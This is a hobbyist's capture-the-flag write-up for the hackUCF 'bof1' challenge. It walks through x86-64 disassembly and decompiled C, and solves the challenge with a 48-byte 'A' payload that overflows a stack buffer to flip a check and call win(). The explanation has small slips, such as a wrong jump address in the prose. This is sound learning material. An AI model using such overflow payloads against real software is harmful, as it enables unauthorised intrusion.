hackucf: bof1

Challenge from the hackUCF archive, in the pwn category.

bof1/Screenshot_2021-02-27_Capture_The_Flag_At_UCF.png

My second BOF challenge completed 😃

Trying to learn without using ghidra, and with just assembly. 💀

Here is the main function:

;-- main:
0x00401246      invalid
0x00401247      invalid
0x00401248      invalid
0x00401249      cli
0x0040124a      push    rbp
0x0040124b      mov     rbp, rsp
0x0040124e      sub     rsp, 0x30
0x00401252      mov     dword [rbp - 4], 0
0x00401259      lea     rax, qword [rbp - 0x30]
0x0040125d      mov     rsi, rax
0x00401260      lea     rdi, qword [0x00402024]
0x00401267      mov     eax, 0
0x0040126c      call    __isoc99_scanf ; sym.imp.__isoc99_scanf
0x00401271      cmp     dword [rbp - 4], 0
0x00401275      je      0x40127e
0x00401277      call    win        ; sym.win
0x0040127c      jmp     0x40128a
0x0040127e      lea     rdi, qword str.nope ; 0x402027
0x00401285      call    section..plt.sec
0x0040128a      mov     eax, 0

Walking through it:

rbp - base pointer, pointers to the bottom/base of the stack frame
rsp - points to the top of the current stack frame
0x0040124e      sub     rsp, 0x30  <-- stack of size 48 bytes

Move 0 (4 bytes) into the address [rbp-4], (basically set var_b = 0;)

0x00401252      mov     dword [rbp - 4], 0

Load the effective address of [rbp-0x30] into the rax register.

0x00401259      lea     rax, qword [rbp - 0x30]

We can now visualize the stack, with var_a being the variable being at rbp-0x30, and var_b being at the rbp-4.

bof1/bof.png

This next block setups the scanf() call with the var_a being passed in as var_a so the call is scanf([0x00402024], var_a);

0x0040125d      mov     rsi, rax
0x00401260      lea     rdi, qword [0x00402024]
0x00401267      mov     eax, 0
0x0040126c      call    __isoc99_scanf ; sym.imp.__isoc99_scanf

We now compare var_b to 0, if var_b is equal to 0 we jump to 0x401270 which prints nope!

0x00401271      cmp     dword [rbp - 4], 0
0x00401275      je      0x40127e  <---- jump to the line that prints nope

Otherwise it calls the function win, which opens the file containing the flag.

0x00401277      call    win        ; sym.win

To exploit this we want to overflow the buffer of var_a so we can overwrite var_b to equal something besides 0.

Since var_a is of size 44, we need to write more that 44 bytes to it.

crazyeights@es-base:~$ python3 -c 'print("A"*48)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

I used 48 bytes, and I created a flag.txt file so it would get an error when it tried to open it.

bof1/Screenshot_from_2021-02-27_23-38-25.png

We now have the flag! We can see flag.txt being opened when we run the program with strace.

bof1/Screenshot_from_2021-02-27_23-38-40.png

Here is the actual code, which is much easier to read than assembly. 😑

undefined8 main(void)

{
  undefined local_38 [44];
  int local_c;
  
  local_c = 0;
  __isoc99_scanf(&DAT_00402024,local_38);
  if (local_c == 0) {
    puts("nope!");
  }
  else {
    win();
  }
  return 0;
}

I am terrible at explaining things, I hope that was okay.

FIN. 🥳